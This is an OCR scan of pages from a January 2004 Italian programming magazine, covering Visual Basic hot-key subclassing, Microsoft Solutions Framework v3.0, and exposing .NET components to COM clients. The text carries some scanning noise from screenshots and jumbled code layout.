Key). Ora descriviamo le routine che permet- 
tono di agganciare le hot key ad un'azione. 
Queste funzioni vanno inserite in un modulo 
.Bas y dato che usano l'operatore AddressOf. 











? X 




Dm** 






Ch 




■cmTT 




^t^aa^AiMn 


zi *B 


hi' | t 


1 


f|ttfl*ltf«Ct 

^~ km V'.z io ir locihctf 


0II '-.h 

B? r 






K2lI 














M | 




Uh— Ih 




*l 




t«* [t-trt'ii 




3 






r Api n loia kffij* 





















Fig. 3: La fase di ricerca. 



COME INTERCETTARE 
I MESSAGGI 
DI WINDOWS 

In un nostro precedente articolo abbiamo il- 



^ 116/Gennaio 2004 




Visual Basic 



i 



T CORSI AVANZATI 




lustrato come sia possibile, attraverso il Sub- 
Classing, intercettare i messaggi di Windows. 
Faremo ora una descrizione sommaria delle 
funzioni da utilizzare. È noto che quando 
Windows deve inviare un messaggio ad una 
finestra chiama una funzione detta window 
procedure alla quale passa come argomento il 
messaggio da comunicare. Con la tecnica del 
SubClassing si intercettano le azioni di Win- 
dows e si chiamano delle window procedure 
personalizzate in sostituzione di quelle pre- 
definite. 



| iìj FrmHotkeys 


^jnjxjl 


, 







CTRL + Q 








m ) 


Reg 1 Ur 


iReg J^^M 2SÌ 


1 


REGEDIT.EXE 


•v<B Hot key già registrata 


N* | HotKey 


00 Shft+M+A 

01 F1 
2 Ctrl + Q 


OK 






EXPLORER.EXE 





Flg. 4: Il MsgBox segnala che la hot key è già stata 
registrata. 

La funzione dell'API che si occupa di chiama- 
re le window procedure, effettuando l'invio 
del messaggio, è la CallWindowProc. 



AddressOf ProcAzioni 

End Sub 

La funzione che risponde ai messaggi di Win- 
dows prodotti dalla pressione di una hot key è 
la seguente: 

Public Function ProcAzioni(ByVal hWnd As Long, _ 
ByVal msg As Long, ByVal wParam As Long, ByVal _ 

IParam As Long) As Long 

If msg = WM_HOTKEY Then 

Cali ScegliAzioneHotKey (wParam) 

ProcAzioni = 1 

Exit Function 

Else 

ProcAzioni = CallWindowProc(OldWndProc, hWnd, _ 

msg, wParam, IParam) 

End If 

End Function 

Nella ProcAzioni in base al tipo di messaggio 
si stabilisce quale window procedure chiama- 
re. Se è chiamata quella che gestisce le hot 
key, cioè la ScegliAzioneHotKey, gli viene pas- 
sato il parametro wParam che nel caso di 
messaggio WM_ HOTKEY contiene l'identifi- 
catore univoco della hot key (che come ricor- 
date è stato archiviato nella prima colonna 
del ListView) . 



Public Declare Function CallWindowProc Lib "user32" Alias Public Sub ScegliAzioneHotKey (ByVal vKeylD As Byte) 



"CalIWindowProcA" (ByVal IpPrevWndFunc As Long, ByVal 

hWnd As Long, ByVal msg As Long, ByVal wParam As 

Long, ByVal IParam As Long) As Long 

Mentre la funzione che consente di sostituire 
una procedura di default con quella imple- 
mentata dall'utente è la SetWindowLong. 

Public Declare Function SetWindowLong Lib "user32" Alias 

"SetWindowLongA" (ByVal hWnd As Long, ByVal nlndex 

As Long, ByVal dwNewLong As Long) As Long 

Invece per avere informazioni sulla window 
procedure di default si usa la seguente: 



Dim itx As Listltem 

For Each itx In FrmHotkeys. HKListView.Listltems 
If itx.Text = CStr(vKeylD) And itx.Checked = True Then 

Shell itx.ListSubItems(2).Text, vbNormalFocus 

End If 

Next 

End Sub 

La ScegliAzioneHotKey confronta l'identifica- 
tore della hot key selezionata {vKeylD) con 
quelli presenti nel ListView e stabilire quale 
applicazione eseguire, questa viene eseguita 
attraverso il comando Shell. 




SINTASSI 

Nella CreaTxtHotKey il 
focus sull'HotKey 
control viene 
impostato con la 
SetFocusAPI che ha la 
seguente sintassi: 



Public Declare Function 
SetFocusAPI Lib 

"user32" 

Alias "SetFocus" (ByVal 
hWnd As Long) As Long 

Dove hWnd è 
l'identificatore 
dell HotKey control. 



Public Declare Function GetWindowLong Lib "user32" Alias 
"GetWindowLongA" (ByVal hWnd As Long, ByVal nlndex 

As Long) As Long 

La funzione per impostare il SubClassing pub 
essere la seguente: 

Public Sub ImpostaAzione(MyForm As Form) 

If OldWndProc <> Then Exit Sub 

OldWndProc = GetWindowLong(MyForm.hWnd, 

GWL_WNDPROC) 

SetWindowLong MyForm.hWnd, GWL_WNDPROC, _ 



CONCLUSIONI 

Una nuova feature dell'acceleratore di tastie- 
ra potrebbe essere la gestione dell'icona sulla 
barra delle applicazioni. Questo consentireb- 
be di utilizzare le hot key con il form nasco- 
sto. 

Naturalmente all'icona bisognerebbe asso- 
ciare un menu. 

Nei prossimi articoli ci occuperemo del Soap 
Toolkit, seguiteci ... 

Massimo Autiero 



Gennaio 2004/117 ► 



ADVANCED EDITION TU processo di sviluppo 



La proposta di Microsoft per migliorare il processo di sviluppo 

Microsoft Solutions 
Framework v3.0 

Il "tool" di Microsoft per affrontare con successo la realizzazione 
di progetti software. Un insieme di best practice e consigli che 
aiuteranno a gestire meglio la vostra attività di sviluppatori. 




TEMPLATE MSF 

MSF prevede la 

realizzazione di una 

serie di documenti per 

semplificare la 

gestione e la 

condivisione delle 

informazioni tra il 

team e il cliente. 

Sul sito Web di MSF 

sono presenti dei 

documenti di esempio 

che possono essere 

presi a modello per la 

realizzazione dei propri 

template. 



E risaputo che le cause di fallimento dei proget- 
ti software generalmente non sono di caratte- 
re tecnico, ma sono quasi sempre dovute alla 
cattiva gestione, alla mancanza di coordinamento e 
di interazione tra i membri del team e alla mancata 
o errata applicazione delle best practice del settore. 
Il Microsoft Solutions Framework (d'ora in poi MSF), 
nato nel 1991 e giunto alla terza edizione (rilasciata 
all'inizio del 2003), è la proposta di Microsoft per 
affrontare e portare a termine con successo la realiz- 
zazione di un progetto software. La differenza prin- 
cipale tra un framework e una metodologia (come il 
Rational Unified Process) è che un framework forni- 
sce delle linee guida generiche, è più semplice da 
applicare ed è più flessibile, ma richiede di compie- 
re delle scelte e di essere adattato al caso specifico, 
mentre una metodologia va applicata in maniera 
rigorosa e precisa, con meno punti di personalizza- 
zione e meno scelte da effettuare. MSF è composto 
fondamentalmente da 2 modelli, il Team Model e il 
Process Model, e da 3 discipline: Project Manage- 
ment, Risk Management e Readiness Management. 



TEAM MODEL 

MSF prevede un team composto da sei ruoli (e non 
da sei persone come molti pensano!) della stessa 
importanza e in comunicazione continua: 

Product management - ruolo responsabile della 
gestione dei rapporti con il cliente e la gestione delle 
sue aspettative. Rappresenta gli interessi del cliente 
all'interno del progetto. E' il responsabile della defi- 
nizione dei requisiti e soprattutto della loro confor- 
mità con le necessità di business. 
Program management - responsabile della gestio- 
ne del processo di sviluppo. Rappresenta gli interes- 
si del team di sviluppo nei rapporti con il Product 
Manager e con il cliente. 



Development - responsabile di sviluppare la solu- 
zione in modo fedele ai requisiti. 
Testing - responsabile di verificare la conformità 
della soluzione con i requisiti, e di approvare la solu- 
zione per le release. E' un ruolo molto importante, 
non può essere svolto da figure di secondo piano. 
Release management - resposabile per la gestione 
delle release, del loro deployment e della loro messa 
in opera. Si occupa soprattutto dell'automazione del 
processo di build e della verifica del funzionamento 
delle build giornaliere. 

User experience - responsabile dell'accettazione 
del prodotto da parte degli utenti, sia per quanto 
riguarda l'usabilità della soluzione (durante e dopo 
il progetto), sia per quanto riguarda il supporto agli 
utenti e alla loro formazione. 

Questi ruoli possono essere ricoperti da più persone 
contemporaneamente (ad esempio i ruoli di Deve- 
lopment e Testing sono tipicamente svolti da team 
composti da più persone), e una persona può rico- 
prire più ruoli contemporaneamente anche se esi- 
stono delle incompatibilità, riportate nella Tabella 1. 
È importante comprendere che tutti i membri del 
team devono tendere ad una visione comune del 
progetto, e devono collaborare tutti in maniera pari- 
taria. La suddivisione in ruoli è una suddivisione 
gerarchica, ma funzionale. 




Fig. 1: II modello di processo proposto da Microsoft. 



► 118/Gennaio 2004 



http://www.ioprogrammo.it 



Il processo di sviluppo ■ T ADVANCED EDITION 



PROCESS MODEL 

Il Processo adottato da MSF è un misto del tradizio- 
nale modello a cascata (dove ogni fase è consecutiva 
e distinta dalla precedente) e del modello a spirale 
(iterativo). Viene adottato un modello misto per 
sfruttare il meglio dei due approcci: del modello a 
cascata vengono adottate la pianificazione e la pre- 
dicibilità delle milestones, mentre del modello a spi- 
rale vengono adottati i benefici del feedback e della 
creatività. Ogni fase è composta da una serie di ite- 
razioni intermedie e viene conclusa con una mile- 
stone. Le cinque fasi sono: 

Envisioning - Viene creato il team, viene preparata 
la struttura del progetto, vengono definiti gli obietti- 
vi di business, viene valutata la situazione corrente, 
creato il documento di vision, etc... Termina con la 
creazione del documento di Vision. 
Planning - Si preparano le specifiche funzionali, il 
design, i piani di lavoro, le stime dei costi, etc... 
Termina con l'approvazione del piano di progetto 
completo. 

Developing - Sviluppo e documentazione del codi- 
ce, per arrivare alla realizzazione dei requisiti. Viene 
anche preparata l'infrastruttura necessaria al fun- 
zionamento della soluzione. Termina con la Scope 
Complete milestone, dove tutte le feature sono com- 
pletate e sono state sottoposte a unit testing. 
Stabilizing- Si effettuano in maniera approfondita i 
test di integrazione, di carico e anche il beta testing. 
Non è consentito aggiungere nuove funzionalità (a 
meno di casi particolari), ci si deve concentrare a 
raggiungere il livello qualitativo richiesto al progetto 
per tutte le funzionalità implementate. Termina con 
l'approvazione finale della soluzione. 
Deploying - Viene fatto un deployment pilota del- 
l'applicazione in casi reali, e vengono risolti gli ulti- 
mi problemi di installazione o configurazione. Le 
competenze vengono trasferite al team che si occu- 
perà di distribuire e supportare l'applicazione. 
Infine viene verificato tutto l'andamento del proget- 
to e la soddisfazione del cliente. 

Esistono una serie di "strumenti" che MSF consiglia 
di adottare per semplificare l'uso del proprio model- 
lo. I principali sono il versionamento delle release, 
l'adozione dei living documents e del processo di 
build giornaliera (o notturna a seconda delle abitu- 
dini...). 



VERSIONAMENTO 
DELLE RELEASE 

MSF consiglia di sviluppare la soluzione in versioni 
successive, seguendo sempre tutte le cinque fasi. 
Prima bisogna realizzare le funzionalità principali, 




Fig. 2: Esemplificazione grafica dei versionamento 
delle release. 

poi si aggiungono, nelle release successive, le fun- 
zionalità minori o le modifiche richieste dagli uten- 
ti. Questo riduce la durata delle singole fasi e con- 
sente di affrontarle più rapidamente. Le funzionalità 
più critiche o più importanti sono affrontate per 
prime, riducendo il rischio del fallimento del proget- 
to. Il cliente riceve l'applicazione funzionante molto 
prima, e può far effettuare subito quei cambiamenti 
che in un approccio tradizionale avrebbero richiesto 
molta più fatica. 



G^^B 



VA BENE SOLO 
PER .NET? 

No, MSF è 
indipendente dalla 
tecnologia scelta, può 
essere applicato con 
successo a progetti 
.NET, Java, VB, VC++, 
PHP, etc... 



Ruolo 


ProcLMan. 


Progr.Man. 


Develop. 


Testing 


Rei. Man. 


> 
User Exp. 


Prod.Man. 


- 


No 


No 


Possibile 


Raro 


Possibile 


Progr.Man. 


No 


- 


No 


Raro 


Possibile 


Raro 


Develop. 


No 


No 


- 


No 


No 


No 


Testing 


Possibile 


Raro 


No 


- 


Possibile 


Possibile 


Rei. Man. 


Raro 


Possibile 


No 


Possibile 


- 


Raro 


User Exp. 


Possibile 


Raro 


No 


Possibile 


Raro 


- 


l lab. 1: Elenco delle compatibilità fra i vari ruoli. 



LIVING DOCUMENTS 

MSF prescrive di non perdere troppo tempo, nelle 
fasi iniziali, a rifinire i documenti in ogni particolare, 
ma di aggiornarli durante tutta la vita del progetto. 
Questo permette di modificare ogni aspetto del 
design o dello sviluppo quando ci sono variazioni 
nei requisiti senza rimanere legati a scelte divenute 
obsolete. 



BUILD GIORNALIERA 

La build giornaliera è l'indicatore dello stato di avan- 
zamento dello sviluppo del progetto. Quando le 
varie parti del progetto vengono sviluppate e testate 
indipendentemente, si corre il rischio di creare pro- 
blemi di integrazione tra i vari sottosistemi. Lo 
scopo principale di effettuare le build giornalmente 
è di accorgersi subito dei problemi di integrazione e 
di bloccare lo sviluppo e risolvere i problemi appena 
vengono scoperti, riducendone l'impatto. La regola 
principale è quella di interrompere ogni attività di 
sviluppo se non si riesce a portare a termine con 



INTRODURRE 
MSF ini 
AZIENDA 

Bisogna che i 
responsabili capiscano 
l'importanza di MSF e 
non ne "sabotino" 
l'introduzione. Si deve 
cominciare con un 
progetto nuovo di 4/6 
mesi e con non più di 
10 persone. La cosa 
migliore è che tutto il 
gruppo sia formato su 
MSF prima di 
cominciare. 
Al termine del 
progetto si può 
verificare il risultato ed 
eventualmente 
adattare MSF alle 
proprie esigenze. 



http://www.ioprogrammo.it 



Gennaio 2004/119 ». 



ADVANCED EDITION TU processo di sviluppo 




TRACKIMG 
DEI BUG 

Durante la fase di svi- 
luppo e soprattutto 
durante la fase di sta- 
bilizzazione, è impor- 
tantissimo tener conto 
del numero di bachi 
aperti e del numero di 
bachi risolti, e soprat- 
tutto del loro anda- 
mento nel tempo, per 
verificare attivamente 
lo stato di salute del 
progetto. 



BIBLIOGRAFIA 



• ANALYZING 

REQUIREMENTS AND 

DEFINING MICROSOFT 

.NET SOLUTION 

ARCHITECTURES 

Serve per preparare 

l'esame Microsoft 

70-300, ma è anche 

un'ottima guida a MSF 

• CORSO MOC1846 

Questo corso è 

consigliato ai team che 

devono usare MSF per 

la prima volta. 



SUL WEB 




Sito Web dedicato ad 
MSF: 

http://www.microsoft.com/msf 

contiene anche i 

whitepaper completi 

della versione 3 

Per chi è veramente 

interessato esiste 

l'esame di MSF 

Practitioner presso la 

Prometric. Consultate il 

sito web di MSF per 

approfondimenti. 



successo la build giornaliera e risolvere immediata- 
mente il problema. E' inutile continuare a sviluppa- 
re nuove funzionalità se quelle vecchie non compi- 
lano nemmeno! Per poter implementare efficace- 
mente la build giornaliera è necessario adottare un 
tool di gestione del codice sorgente (CVS, Microsoft 
SourceSafe, Rational ClearCase, SourceGear Vault, 
Perforce, etc.) e un sistema automatico per effet- 
tuare le build (integrato nel tool di sviluppo come in 
Visual Studio.NET o in tool autonomi come MAKE, 
ANT o NANT). Ogni sviluppatore lavora sul proprio 
PC e al termine di ogni modifica effettua il check-in 
nel tool di controllo del codice. Esiste poi un PC 
(gestito dal Release Manager) su cui in maniera 
automatica, attraverso dei software o degli script 
batch, vengono prelevati dal tool di gestione del 
codice le versioni più aggiornate dei file sorgenti, 
vengono compilate e in caso di errore viene inviata 
una notifica al team. Se la compilazione va a buon 
fine la build viene messa a disposizione dei Tester. 
Esistono una serie di tool gratuiti per automatizzare 
il processo. I più usati sono: 

CruiseControl - Tool multipiattaforma disponibile 
sia per Java sia per .NET, si integra con i più diffusi 
software di controllo e con i vari sistemi di build. 
http://cruisecontrol.sourceforge.net/ 
Draco.NET - Tool per .NET, supporta NANT, CVS, 
Visual Studio.NET e SourceSafe http://draconet. sou- 
rceforge.net/ 

Microsoft Build It - E' la soluzione gratuita comple- 
ta di codice sorgente in VB.NET e C# di Microsoft. 
Supporta Visual Studio.NET e SourceSafe. Gestisce 
in maniera automatica anche il versionamento del 
codice sorgente, aggiornando il numero di versione 
dei vari componenti al termine di ogni build termi- 
nata con successo, http://www.microsoft.com/down- 
loads/details.aspx?displaylang-enSifamilyid- 
B32497B0- 77F7-4831 -9C55-58BF39621 63E 
Hippo.NET - Combina alcune delle feature di Dra- 
co.NET con quelle del Microsoft Buildlt. http:llhip- 
ponet.sourceforge. net/ 

Project Management 

MSF non è uno strumento di project management, 
ma un framework per lo sviluppo che naturalmente 
richiede una gestione del progetto. La differenza 
principale tra MSF e le altre metodologie consiste 
nel fatto che non esiste una gerarchia precisa tra i 
ruoli. Le decisioni vengono prese dal team nel suo 
complesso (dai responsabili dei vari ruoli nel caso di 
team numerosi), e solo in caso di discordia il pro- 
gram management prende la decisione che permet- 
te di ottenere il raggiungimento degli obiettivi del 
cliente, che rappresentano il vero scopo del proget- 
to. Raramente in un team ben assortito si arriva a 
quella situazione, e comunque poi il team deve rico- 
minciare a lavorare in sinergia. 



Risk Management 

La gestione dei rischi deve essere affrontata in ma- 
niera proattiva, tramite continue revisioni dei rischi 
del progetto, prendendo di volta in volta le decisioni 
necessarie per minimizzarli. 

Readiness Management 

È la parte di MSF che si occupa di sviluppare al 
meglio la conoscenza e le capacità di vari membri 
del team. Comporta quattro fasi: definizione degli 
scenari e individuazione delle competenze; analisi 
delle competenze esistenti; miglioramento delle 
competenze per raggiungere gli obiettivi (tramite 
studio, corsi, etc...), infine valutazione dei risultati. 
Il processo va ripetuto all'interno delle varie fasi in 
maniera continua, per portare le competenze perso- 
nali, del team e dell'organizzazione ai livelli necessa- 
ri per affrontare il progetto. 



COME GESTIRE 
I TRADEOFF 

Capita spesso in un progetto di dover prendere delle 
decisioni che impattano sulle feature, sulle risorse o 
sui tempi di realizzazione. MSF mette questi tre ele- 
menti ai lati di un triangolo, e questo implica che 
ogni cambiamento in uno di questi implica automa- 
ticamente un cambiamento degli altri due. Esiste 
anche una matrice tramite cui si può dire che, fissa- 
to un elemento, si può sceglierne un altro e adattare 
il terzo se necessario. 

Ad esempio fissato il tempo di realizzazione, se si 
scelgono le feature bisognerà adattare le risorse di 
conseguenza. È importante che sia il team, sia il 
cliente condividano la matrice dei tradeoff e capi- 
scano come usarla. Ci può essere un solo elemento 
per ogni colonna della matrice (Tabella 2). 



r 


Fisse 


Scelte 


Da adattare 


Risorse 






X 


Tempo 


X 






Feature 




X 




^ lab. 2: Matrice delle scelte possibili. j 



CONCLUSIONI 

MSF è veramente un ottimo framework, e la sua ap- 
plicazione porta molti vantaggi, tra cui soprattutto 
quello di ridurre il rischio di fallimento. Anche se 
non si intende applicare subito tutto MSF, si può 
comunque cominciare ad applicare le parti più sem- 
plici e immediate, come ad esempio l'adozione del 
processo di Build giornaliero. Approfondendo la co- 
noscenza di MSF ci si renderà conto che la fatica ini- 
ziale per adottarlo verrà ricompensata pienamente. 

Lorenzo Barbieri 



► 120/Gennaio 2004 



http://www.ioprogrammo.it 



Component Object Model e .NET ■ T ADVANCED EDITION 



Interazione tra .NET e applicazioni COM 

Usare componenti .NET 
nelle applicazioni COM 

Possiamo cominciare a prendere confidenza con il framework .NET 
attraverso l'integrazione di componenti .Net in applicazioni e 
componenti unmanaged. Una interazione fondamentale anche in 
ambienti in cui è necessario interagire con codice legacy. 



Il framework Microsoft .NET fornisce gli strumen- 
ti e le potenzialità necessarie ad interagire con 
codice non gestito, componenti COM, servizi 
COM+, type library esterne, e ancora con i servizi 
messi a disposizione dal sistema operativo, ad 
esempio le API di Windows. Molti di voi, o almeno 
chi ha già le mani in pasta, cioè in .NET, saprà che il 
codice gestito è il codice che viene eseguito sotto il 
controllo e la supervisione del Common Language 
Runtime, una specie di macchina virtuale analoga, 
per chiarire con un esempio, alla Java Virtual Ma- 
chine. In questo articolo vedremo come scrivere un 
semplice assembly in C# e richiamarlo da codice 
COM. Naturalmente chi vuole e chi ne ha il tempo, 
potrà tradurlo in Visual Basic.NET, o in un altro dei 
sempre più numerosi linguaggi che godono del sup- 
porto .NET. 



COM CALLABLE 
WRAPPER 

Per utilizzare un assembly .NET all'interno di codi- 
ce COM è necessario utilizzare una sorta di inter- 
prete fra i due mondi del codice managed e del 
codice unmanaged. Questo compito è svolto dal 
COM Callable Wrapper (CCW), in maniera comple- 
mentare al RCW (vedi il box). Per ogni oggetto .NET 
che vogliamo utilizzare, è necessario un oggetto 
CCW, anche se poi più client COM potranno utiliz- 
zare uno stesso CCW (Fig. 1), e contemporanea- 
mente dei client .NET possono interagire diretta- 
mente con l'oggetto .NET. Un oggetto .NET non 
conosce nessun dettaglio del funzionamento di 
COM, e quindi di ciò che un client COM si aspetta 
ed anzi, come è giusto che sia, non gliene frega 
niente. Il CCW quindi si incarica di creare le inter- 
facce COM standard che i client si aspettano, inter- 
facce che sono illustrate in maniera succinta nella 
Tab. 1. Il CCW fornisce sempre e comunque Firn- 







Unmanaged 
















COM Client 1 ■ 


COM 
Callable 
Wrapper 






■ 


.net 


>r. 


Oggetto I 
.NET 


COM Client 2 f^' 










^^^^H 





\ 






NET Client L 






















Fig. 1: II COM Callable Wrapper. 

plementazione delle interfacce IUnknown ed 
IDispatch, mentre per le altre un componente .NET 
può fornire un'implementazione custom. Per 
esportare un componente .NET verso COM sono 
necessari diversi passi, che vedremo nei paragrafi 
successivi, fornendo anche un piccolo esempio 
implementativo. 



LJCDQ WEB 



^ 



r 
Interfaccia COM 


Descrizione 


IUnknown 


Fornisce le funzionalità fondamentali per la gestione 
del ciclo di vita e dell'identità di un oggetto COM. 


IDispatch 


Fornisce il meccanismo per il late binding dell'oggetto. 


IProvideClassInfo 


Fornisce il modo di ottenere un puntatore all'interfaccia 
ITypelnfo dell'oggetto. 


ISupportErrorlnfo 


Consente ad un client di sapere se l'oggetto supporta 
interfaccia IErrorlnfo. 


IErrorlnfo 


Fornisce dettagliate informazioni sugli errori. 


ITypelnfo 


Fornisce informazioni sul tipo dell'oggetto. 


TABELLA h Le interfacce implementate dal COM Callable Wrapper 



L'OGGETTO .NET 

Iniziamo con l'implementazione di una semplice 
classe .NET, che utilizzeremo poi da codice COM. 
Con estrema fantasia forniamo ancora una volta 
una classe Automobile, che implementa una classe 
IVeicolo. Ecco il codice per l'interfaccia: 

public interface IVeicolo 



http://www.ioprogrammo.it 



Gennaio 2004/121 ► 



ADVANCED EDITION T ■ Component Object Model e .NET 



.net 





GLOSSARIO 



RUNTIME 
CALLABLE 
WRAPPER 

Il RCW svolge un 

compito 

complementare a 

quello svolto dal CCW, 

permettendo di 

utilizzare i componenti 

COM all'interno di 

un'applicazione .NET, e 

fornisce gli strumenti 

necessari a convertire 

una libreria di tipi 

COM in un assembly 

gestito. 



{ int Speed{get;> 

int Accelera(int s); 

int Frena(int s); } 

Ecco come la classe Automobile la implementa, con 
l'aggiunta del costruttore di default che è necessario 
per l'interoperabilità con COM: 

public class Automobile: IVeicolo 

{ private int speed; 

private readonly int maxSpeed = 18Q; 

/// <summary> 

/// Il costruttore di default è richiesto da COM 

/// </summary> 

public AutomobileQ { speed=Q; } 

public int Accelera(int s) 

{ if(s>0 && speed+s<maxSpeed) 

speed+=s; 

else speed = maxSpeed; 

return speed; } 

public int Frena(int s) 

{ if(s>0 && speed-s>0) 

speed-=s; 

else speed=Q; 

return speed;} 

public int Speed 

{get 

{return speed; } 

}} 

I metodi Accelera e Frena non fanno niente di tra- 
scendentale, si limitano a controllare che il parame- 
tro passato come argomento sia maggiore di zero, e 
lo sommano alla velocità attuale nel caso dell'acce- 
lerazione, verificando di non superare quella massi- 
ma, e di sottrarlo, nel caso del metodo Frena, verifi- 
cando stavolta che la velocità non diventi negativa. 
Infine la proprietà a sola lettura Speed restituisce il 
valore della velocità attuale. 



TIRIAMO FUORI 
GLI ATTRIBUTI 

Per controllare il modo in cui gli oggetti .NET ven- 
gono esposti al codice COM, possiamo e dobbiamo 
servirci di una serie di attributi, da applicare nel 
nostro esempio all'interfaccia IVeicolo ed alla classe 
Automobile. L'attributo Classlnterface determina 
che tipo di interfaccia creare per la classe a cui viene 
applicato. Esso accetta come parametro un Classln- 
terfaceType fra tre possibili: AutoDispatch è usato 
per creare una interfaccia IDispatch pura, che sup- 
porterà solo il late binding dai client, AutoDual crea 
un'interfaccia duale, che supporta early e late bin- 
ding, ed infine utilizzando None non viene creata 
nessuna interfaccia. Nel nostro caso utilizziamo 
l'ultimo, in questa maniera: 



[ClassInterface(ClassInterfaceType.None)] 

public class Automobile: IVeicolo 

{-.} 

Analogamente l'attributo InterfaceType indica come 
esporre un'interfaccia a COM. 

[InterfaceType(ComlnterfaceType.InterfacelsDual)] 
public interface IVeicolo {...} 

Citiamo infine l'attributo ComVisible, che permette 
di controllare la visibilità a COM di classi e metodi 
dei componenti .NET. Per default, infatti, classi pub- 
bliche e relativi metodi sarebbero visibili ai client 
scritti in codice unmanaged. Per nasconderli basta 
utilizzare questo attributo. Ad esempio, se abbiamo 
nella nostra classe un metodo pubblico che non 
vogliamo esporre nell'interfaccia COM, basta appli- 
care l'attributo ComVisible in questa maniera: 

[ComVisible(false)] 

public void MioMetodo() {...} 

Si può anche applicare l'attributo ComVisible ad 
una classe intera, ottenendo naturalmente il risulta- 
to di nasconderla ai client COM. 



LA TYPE LIBRARY 

Non tutti i componenti COM forniscono una type 
library, quindi crearne una per i componenti .NET 
da esporre a COM è una procedura opzionale. Per 
completezza vediamo comunque come fare per 
crearla, ed esattamente vediamo i due modi più 
semplici ed immediati. Il primo è mediante l'utiliz- 
zo del tool a riga di comando TlbExp.exe il cui utiliz- 
zo è tlbexp nomefile [opzioni] dove nomefile è il no- 
me del file contenente un assembly .NET. Ad esem- 
pio se automobile.dll è il file contenente il nostro 
esempio, lanciando tlbexp otterremo una type 
library di nome automobile, tlb. Un secondo tool, 
fornito sempre insieme al framework .NET, è 
RegAsm.exe, usato per registrare componenti .NET 
come oggetti COM, e contemporaneamente per ge- 
nerare il file .tlb La sua sintassi è la seguente: 

regasm nomefile.dll /tlb 

se la dll contiene il tipo nomeTipo genererà il file 
nometipo.tlb, ma è comunque possibile specificare 
il nome del file di output, utilizzando l'opzione tlb in 
questo modo: 

regasm nomefile.dll /tlb:nomefile.tlb 

Per completezza segnaliamo anche che esiste un 



► 122/Gennaio 2004 



http://www.ioprogrammo.it 



Component Object Model e .NET ■ T ADVANCED EDITION 



terzo modo di generare la type library, cioè via codi- 
ce, mediante l'utilizzo della classe TypeLibConverter 
contenuta nel namespace System.Runtime.Interop- 
Services, ed esattamente per mezzo del metodo 
ConvertAssemblyToTypeLih Per il nostro esempio 
utilizziamo il comando RegAsm che come detto ser- 
virà anche a registrare il componente: 

regasm automobile.dll /tlb /verbose 

L'opzione verbose ci fornirà a video indicazioni più 
precise sui tipi esportati, cioè Weicolo ed Automo- 
bile. Se eventualmente vorreste tornare indietro, per 
annullare la registrazione della libreria, basterà lan- 
ciare il comando: 

regasm automobile.dll /unregister 



REGISTRARE IL 
COMPONENTE . 

Il tool Regasm.exe aggiunge informazioni relative agli 
oggetti .NET al Registro di sistema, in modo che i 
client COM possano utilizzarli in modo trasparente. 
Lo stesso risultato è possibile ottenerlo via codice, 
utilizzando la classe RegistrationServices contenuta 
nel namespace System.Runtime.InteropServices. Per 
utilizzare il componente .NET da codice COM è inol- 
tre necessario installarlo nella Global Assembly Ca- 
che, e per far ciò bisogna assegnare al componente 
un nome sicuro. Un nome sicuro è costituito dall'i- 
dentità dell' assembly, corrispondente al nome in 
formato testo, al numero di versione e alle informa- 
zioni sulla lingua eventualmente disponibili, nonché 
da una chiave pubblica e da una firma digitale. In 
questo compito ci viene in aiuto l'utility sn.exe, con 
cui innanzitutto creiamo una coppia di chiavi sal- 
vandola sul file chiave.snk, in questo modo: 

sn -k chiave.snk 

Per firmare l' assembly con un nome sicuro bisogna 
aggiungere in un file di codice l'attributo Assembly- 
KeyFile, ma se utilizzate Visual Studio .NET, basterà 
che, all'interno del file autogenerato Assemblyln- 
fo.cs, modifichiate l'attributo già esistente, specifi- 
cando il percorso relativo o assoluto del file delle 
chiavi prima generato, ad esempio: 

[assembly: Assembly KeyFile("chiave.snk")] 

A questo punto, dopo aver rigenerato il progetto, 
utilizziamo regasm per generare la type library, ed 
installiamo l' assembly nella Global Assembly Cache, 
con il comando: 

gacutil -i automobile.dll 



Da notare che, senza un nome sicuro, F assembly 
non verrebbe installato nella cache. Adesso siamo 
veramente pronti ad utilizzare Y assembly nelle 
nostre applicazioni COM. Se volete visualizzare la 
type library creata, aprite il file tlb con il visualizza- 
tore di oggetti OLE/COM, e notate (Fig. 2) la presen- 
za di tutti i metodi e delle proprietà della classe 
Automobile, meno quello che abbiamo nascosto 
con l'attributo ComVisible (false). 




iiBssr rì5a " """■""' 

ussswy j 

'!~i 'Titoli ..-* ri* ■ . i 



mss 



i«P-i»»-i3li-t»tt-JtftHfef*M*4 i 






Fig. 2: La type library. 



IL CLIENT COM IN C++ 

Un client COM può creare un'istanza di una classe 
pubblica contenuta in un assembly e invocare i suoi 
membri pubblici. Sarà ancora una volta il Common 
Language Runtime ad occuparsi della traduzione 
delle chiamate da e verso l'oggetto gestito. Utiliz- 
zando Visual C++ 6, o anche Visual C++ .NET senza 
far ricorso naturalmente alle estensioni managed, 
implementiamo un client COM, che creerà ed uti- 
lizzerà un oggetto della classe gestita Automobile. In 
realtà i client COM non hanno accesso diretto alle 
classi, ma possono chiamare i metodi e le proprietà 
esposti dalla o dalle interfacce implementate dalla 
classe, nel nostro caso Weicolo. Per poter fare uso 
della classe .NET bisogna importare la libreria dei 
tipi che abbiamo creato nei passi precedenti, e ciò 
viene fatto con l'istruzione 

#import "automobile. tlb" no_namespace 

Tale istruzione comunica al compilatore di leggere il 
file indicato (eventualmente con il percorso assolu- 
to se esso non si trova nella directory del progetto 
C++), e creare una classe wrapper utilizzabile dai 
client COM. Infatti, compilando il progetto, vi trove- 
rete fra gli output, oltre al file eseguibile, i due file 
wrapper autogenerati, nel nostro caso automobi- 
le.tlh ed automobile.tli. Dategli un'occhiata e vedre- 
te come i metodi scritti in C# sono stati tradotti per 
l'utilizzo da C++. 

Occupiamoci adesso, per mezzo dell'oggetto Weico- 
loPtr, di creare un oggetto COM identificato dal 
CLSID passatogli come argomento, in questo caso 





GLOSSARIO 



MOM ALTERATE 
LE INTERFACCE 

Uno dei principi 
fondamentali del 
modello COM è quello 
che un'interfaccia, una 
volta definita, non 
può essere più variata. 
Non è cioè possibile 
aggiungere o 
rimuovere membri, o 
anche solo variarne 
l'ordine. COM vede 
però solo i membri 
pubblici delle classi 
.NET, potete quindi 
modificare memri 
private e protected 
senza compromettere 
il funzionamento dei 
client COM. 



BIBLIOGRAFIA 



• PROGRAMMARE 
VISUAL C++ - QUINTA 
EDIZIONE 

Kruglinski, Sheperd, 
Wingo 
(Mondadori 
Informatica) 

• PROFESSIONAL C# 
2 ND EDITION 
Robinson 

(Wrox Press) 

• THINKING IN C# 
B. Eckel, L. O'Brien 

• PROGRAMMING C# 
Jesse Liberty 
(O'Reilly) 

• C# AND .NET 
